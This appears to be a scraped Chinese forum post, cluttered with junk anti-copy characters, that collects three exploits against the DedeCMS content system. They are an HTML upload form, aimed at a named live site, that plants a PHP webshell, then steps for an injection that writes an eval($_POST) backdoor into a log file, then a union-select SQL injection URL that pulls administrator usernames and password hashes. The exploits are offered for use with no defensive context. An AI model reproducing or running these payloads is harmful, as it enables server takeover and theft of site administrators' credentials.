6 e; C7 t6 Y. ?8 x& t; m5 s+ }% t  b% w

8 a1 \5 y0 ^" E4 v1 A& \
+ o( \5 r9 v9 N/ p+ Z- ~7 h9 [& K% `7 K

' D, X( l6 z' ?: t4 d
- [1 i9 V3 e, l
% `$ ^, X* V, T& D, |1 ~- k1 d5 v
6 V& X+ L/ m' J# l$ r
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞3 v( {& t' j9 f$ `% W5 h0 g
<html>; Q* O- _. ]' }9 b. W. P
<head>
- ?* W8 |' z5 x* D7 N0 Z<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
5 W& y0 y. P5 n' V. k$ w' W</head>, p6 a* Z  l1 H4 C- l& M
<body style="FONT-SIZE: 9pt">! X! \$ j; _, I# r! j6 `
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />, B. q7 ~1 V. Z4 |, [
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
/ z; H# q  y6 F( V0 I<input type='hidden' name='activepath' value='/data/cache/' />, \0 s, U& ]$ ^( k; n
<input type='hidden' name='cfg_basedir' value='../../' />& t2 i3 r$ B9 B! {& `! _7 M
<input type='hidden' name='cfg_imgtype' value='php' />* V( K0 p$ y! o7 F4 X8 y: z" q8 S
<input type='hidden' name='cfg_not_allowall' value='txt' />% G& G6 O2 T9 G
<input type='hidden' name='cfg_softtype' value='php' />
; @! T3 k+ N9 I0 j2 P<input type='hidden' name='cfg_mediatype' value='php' />, k: F& a) Q: }9 P- G8 a$ c( \
<input type='hidden' name='f' value='form1.enclosure' />
: h( f  o4 R; v* v: L5 N) h! f<input type='hidden' name='job' value='upload' />) f: l& {% ~2 @' G8 o7 @
<input type='hidden' name='newname' value='fly.php' />- L( w; K4 |* K
Select U Shell <input type='file' name='uploadfile' size='25' />7 M# P& U3 H- F- i6 T! i4 P
<input type='submit' name='sb1' value='确定' />" y/ u) i* t+ k
</form>) l9 ^0 V" e, v% J2 t5 ^
<br />It's just a exp for the bug of Dedecms V55...<br />
. {) z0 M) P1 m2 N. b' F$ Y% v6 ^- z# D& UNeed register_globals = on...<br />& L: J# [- i0 w" ]) ~
Fun the game,get a webshell at /data/cache/fly.php...<br />, A& I- ?  n; Y
</body>: s( f; T- o6 d$ ^- ?( P. U" _
</html>
6 @: @/ n" G) V; K' I& @4 I7 H( O: _7 U

& L+ b* i6 @& }
3 p/ r3 l$ b6 U" z0 U! U
4 A0 }, `. v" m  \8 y# e* t7 }- W! e: n# ?

* Z' W1 W' S: O! ]
0 L& s. S* q: r4 b, [1 x" v8 `( z8 P1 m! g8 x* \
# \8 x$ t4 l! X: W8 {

7 L- o% N2 n1 T* J  {# W织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞: v# s2 `, h3 F& X& l: n0 _: b& a
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
  i* L  D) }* {2 N3 P% I1. 访问网址:
3 {) M9 q0 T# r& H" j+ N* L
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
6 M0 Z+ l! S, x. Y可看见错误信息1 D0 c9 E) R% o6 s: s
5 L3 w2 b/ f, l' a' h
2 x. f7 W) F$ Q0 j, O+ w
2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。$ q7 Q1 y& B6 u0 ]' f. h
int(3) Error: Illegal double '1024e1024' value found during parsing
( L/ B: }: A$ S4 m7 B/ YError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
' F( @, W7 |5 I/ c5 \1 k9 x/ ^
, f$ a3 g, F( a+ I- d. `1 z' B. }2 B8 i! z
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
% |7 A0 f2 o, @: Y9 H1 P( W% z$ E* p. I1 s. P

& b& F) ~) N' d9 K$ a! z# m' y<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>- _' G' Y, F: e, {: k

# |1 b2 W1 b* q9 Y" N  X$ ^* ?( C( W$ W, R+ J
按确定后的看到第2步骤的信息表示文件木马上传成功.' J9 T' C( `$ v6 X! E

1 T( Y" l2 H4 f8 d% }* |6 A6 }/ `" p# y# X" C9 i3 i

" e. V% F2 @$ w9 t
/ r' n! L  N0 ]! v4 v5 K, w/ G( I; [' y7 K4 p- }

) d) t0 k/ i) U
9 l" A! u: @7 n1 X. B4 Q
+ f5 A8 B& `% ?# j3 J9 I
9 Y$ N$ Q! J" t9 Y3 {. G( e2 b3 y! ?; c# z* P
; w1 [& ^7 u+ q1 R

, Z! J' s, D& [织梦(DedeCms)plus/infosearch.php 文件注入漏洞) f% l0 }/ j2 g  {/ j
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表